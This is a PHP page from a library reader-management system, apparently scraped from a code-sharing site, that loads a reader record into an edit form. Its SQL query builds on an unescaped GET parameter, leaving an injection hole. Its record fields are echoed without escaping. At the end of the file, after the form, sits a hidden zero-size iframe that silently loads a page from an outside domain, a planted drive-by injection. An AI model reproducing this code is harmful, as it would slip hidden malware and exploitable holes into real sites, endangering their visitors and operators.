?? dzglxg.php
字號:
<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">
<form action="dzglcl.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
<table width="765" border="0" cellspacing="0" class="table">
<tr>
<td height="50" align="left" class="tabletitle"> 讀者管理--修改</td>
</tr>
<tr>
<td height="2" colspan="5" class="titlebg"></td>
</tr>
</table>
<table class="table" width="765">
<tr bgcolor="#BCD2E6" height="25">
<td width="30" align="center" class="word">ID</td>
<td width="60" align="center" class="word">姓 名</td>
<td width="40" align="center" class="word">性別</td>
<td width="80" align="center" class="word">出生日期</td>
<td width="120" align="center" class="word">部 門</td>
<td width="100" align="center" class="word">職 務(wù)</td>
<td width="60" align="center" class="word">電 話</td>
<td width="60" align="center" class="word">借書次數(shù)</td>
<td width="80" align="center" class="word">登記日期</td>
<td width="80" align="center" class="word">備 注</td>
</tr>
<?php
//使用子查詢,查詢出選擇的某個類別的讀者的信息
$selected=$_GET["selected"];
$sql="select * from readerinfo where id=$selected";
$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
?>
<tr bgcolor='#BCD2E6'>
<td height='20' align='center' class='word'>
<input name='id' type='text' id='id' size='3' value='<?php echo $row["id"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='readername' type='text' id='readername' size='8' value='<?php echo $row["readername"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='sex' type='text' id='sex' size='5' value='<?php echo $row["sex"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='birth' type='text' id='birth' size='10' value='<?php echo $row["birth"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='department' type='text' id='department' size='16' value='<?php echo $row["department"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='duty' type='text' id='duty' size='14' value='<?php echo $row["duty"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='phone' type='text' id='phone' size='8' value='<?php echo $row["phone"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='number' type='text' id='number' size='8' value='<?php echo $row["number"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='regdate' type='text' id='regdate' size='11' value='<?php echo $row["regdate"]; ?>' /></td>
<td align='center' class='word'><input name='remarks' type='text' id='remarks' size='12' value='<?php echo $row["remarks"]; ?>' /></td>
</tr>
<?php
}
?>
<tr bgcolor="#BCD2E6" height="25">
<td height="50" colspan="10" align="center" class="word"><span class="tabletitle">
<input name="submit7" type="submit" id="submit7" value="修改" />
<input name="submit3" type="reset" id="submit3" value="重置" />
<input name="submit3" type="submit" id="submit3" value="返回" />
</span></td>
</tr>
</table>
</form>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -